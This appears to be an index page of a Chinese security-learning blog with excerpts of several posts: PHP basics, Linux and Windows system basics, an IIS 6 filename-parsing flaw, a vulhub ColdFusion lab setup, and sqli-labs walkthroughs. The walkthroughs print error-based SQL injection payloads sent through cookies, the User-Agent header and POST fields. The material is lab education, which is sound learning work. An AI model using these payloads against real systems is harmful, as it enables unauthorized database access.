0%

PHP语言标记

  • <?php开始?>结束标记是标准风格,这是PHP推荐使用的标记风格。
  • <script language="php">开始和</script>结束是长风格标记,这种标记最长,总是可用的,但我们并不常用。
  • <?开始和以?>结束标记是简短风格的标记,是最简单的,但是系统管理员偶尔会禁用掉它,因为它会干扰XML文档的声明。只用通过php.ini配置文件中的指令short_open_tag打开后就可以使用。
  • <%开始和以%>结束标记是ASP风格的标记,可以在php.ini配置文件设定中启用了asp_tags选项就可以使用它(默认是禁用的),习惯了ASP风格的可以使用它。

PHP程序注释

PHP支持C、C++和Shell脚本风格的注释,如下:

1
2
3
//... ...	单行注释
/* ... ... */ 多行注释 (注意:不能嵌套)
# ... ... 脚本注释

PHP中的运算符

运算符是可以通过给出的一或多个值(用编程行话来说,表达式)来产生另一个值(因而整个结构成为一个表达式)的东西。所以可以认为函数或任何会返回一个值(例如 print)的结构是运算符,而那些没有返回值的(例如 echo)是别的东西。

有三种类型的运算符:

  • 一元运算符:只运算一个值,例如 !(取反运算符)或 ++(加一运算符)。
  • 二元运算符:有两个操作数,PHP支持的大多数运算符都是这种。
  • 三元运算符? :。它应该被用来根据一个表达式在另两个表达式中选择一个,而不是用来在两个语句或者程序路线中选择。把整个三元表达式放在扩号里是个很好的主意。

算术运算符

阅读全文 »

Less20

从源代码中我们可以看到 cookieusername 中获得值后,当再次刷新时,会从 cookie 中读
username,然后进行查询。
登录成功后,我们修改 cookie,再次刷新时,这时候 sql 语句就会被修改了

先使用正确的账号密码登录一次。使用burp抓取第二个数据包。修改cookie的值

1
' and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#

image

Less21

与Less20处理流程一样,但是对cookie进行了base64加密。利用Less20的方法,但是需要将payload进行base64编码处理(这里对uname进行了('uname')处理)

1
YWRtaW4nKWFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAYmFzZWRpciksMHg3ZSkpIw==

image

Less22

阅读全文 »

Less18

本关可以从源码了解到对unamepasswd进行了check_input()函数的处理,所以这里无法注入了。

1
2
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

但是代码中将useragentip插入到数据库中,可以使用useragent进行注入

1
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

使用burp抓包修改useragent看看

image

修改useragent报错注入

1
' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1

image

阅读全文 »

Less17

本关可以看到是一个修改密码的过程,利用的是update语句,与再用select时是一样的。

尝试报错:

1
uname=admin&passwd=11'&submit=Submit

可以看到sql语句报错

image

尝试一下报错注入:

1
uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&submit=Submit

image

阅读全文 »

Linux系统基本操作

文件结构图及关键文件功能

Linux文件结构

image

Linux文件结构图

image

二级目录

目录 功能
/bin 放置的是在单人维护模式下能够被操作的指令,在/bin底下的指令可以被root与 一般账号所使用
/boot 这个目录只要在放置开机会使用到的文件,包括Linux核心文件以及开机选单与 开机所需配置的文件等等
/dev 在Linux系统上,任何装置与接口设备都是以文件的形态存在于这个目录当中的
/etc 系统主要的配置文件几乎都放置在这个目录内,例如人员的账号密码文件,各 种服务的启动档,系统变量配置等
/home 这是系统默认的用户家目录(homedirectory)
/lib /lib放置的则是在开机时会用到的函式库,以及在/lib或/sbin底下的指令会呼叫 的函式库
/media /media底下放置的是可移出的装置,包括软盘、光盘、DVD等等装置都杂事挂载与此
/opt 给第三方协议软件放置的目录
/root 系统管理员(root)的家目录
/sbin 放置/sbin底下的为开机过程中所需要的,里面包括了开机、修复、还原系统所 需要的指令。
/srv srv可视为[service]的缩写,是一些网络服务启动之后,这些服务所需要取用的 数据目录
/tmp 这是让一般使用者或者是正在执行的程序暂时放置文件的地方

文件

目录 功能
/etc/passwd 记录系统本地用户的属性信息,如UId,Gid,家目录等信息
/etc/shadow 存放用户的口令等信息,只有系统管理员用户能查看
/etc/pam.d/system-auth 账户安全配置文件
/etc/login.defs 设置用户账户限制的配置文件,对root用户无效
/etc/securetty 网络配置文件
/etc/pam.d/su su命令配置
/etc/hosts.allow、/etc/hosts.deny 允许/拒接某网段远程连接到主机
/etc/profile 保存Linux全局环境变量信息,如umask,bash历史命令设置
阅读全文 »

windows系统基本操作

windows常见目录

路径 作用
C:\Windows\System32 存放系统配置文件
C:\Windows\SysWOW64 Windows操作系统的子系统
C:\Windows\System32\config\SAM 存放windows帐号和密码
C:\Windows\System32\drivers\etc\hosts DNS解析文件
C:\Program Files、C:\Program Files (x86) 64位系统安装在Windows操作系统的子系统,32位下会安装在x86下
C:\Windows\System32\winevt\Logs 日志目录

windows常用系统命令

命令 说明
ver 查看系统版本
hostname 查看主机名
ipconfig /all 查看网络配置
net user/localgroup/share/config 查看用户/用户组/共享/当前运行可配置服务
at 建立或查看系统作业
netstat 查看开放端口
secpol.msc 查看和修改本地安全设置
services.msc 查看和修改服务
eventvwr.msc 查看日志
regedit 打开注册表
whoami 查看当前操作用户的用户名

windows常见端口

端口 说明
80/8080/8081 HTTP协议代理服务器常用端口号
443 HTTPS协议代理服务器常用端口号
21 FTP(文件传输协议)协议代理服务器常用端口号
23 Telnet(远程登录)协议代理服务器常用端口号
22 SSH(安全登录)、SCP(文件传输)
1521 Oracle 数据库
1433 MS SQL SERVER数据库
1080 QQ
3306 Mysql数据库
25 SMTP(简单邮件传输协议)

net命令的使用

命令 说明
net user abc /add 创建(空密码)账户abc
net user abc 查看账户abc的详细信息
net user abc /del 删除账户abc
net user abc 123/add 创建普通账户abc,密码为123
net localgroup administrators abc /add 把abc用户加入管理员组
net localgroup administrators abc /del 把abc用户退出管理员组
net user abc /active:yes[no] 启用[停用]abc账户
net localgroup admin /add[del] 新建[删除]组admin
net share 查看本地开启的共享
netstat 查看开启哪些端口

windows系统加固

阅读全文 »

IIS

IISInternet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。

IIS目前只适用于Windows系统,不适用于其他操作系统。

IIS 6.x

文件名解析漏洞

该版本默认会将*.asp;.jpg此种格式的文件名,当成Asp解析,原理是 服务器默认不解析;号及其后面的内容,相当于截断。

1
http://192.168.x.x/test.asp;.jpg

image

文件夹名解析漏洞

该版本默认会将*.asp/目录下的所有文件当成Asp解析。

阅读全文 »

漏洞详情

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。

Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。以下版本受到影响:Adobe ColdFusion (2016 release) Update 3及之前的版本,ColdFusion 11 Update 11及之前的版本,oldFusion 10 Update 22及之前的版本。

漏洞环境

使用vulhub启动漏洞环境

1
2
cd /root/vulhub/coldfusion/CVE-2017-3066/
docker-compose up -d

等待数分钟时间,环境启动成功,访问http://your-ip:8500/CFIDE/administrator/index.cfm,输入密码vulhub,即可成功安装Adobe ColdFusion

image

安装成功后页面如下:

image

阅读全文 »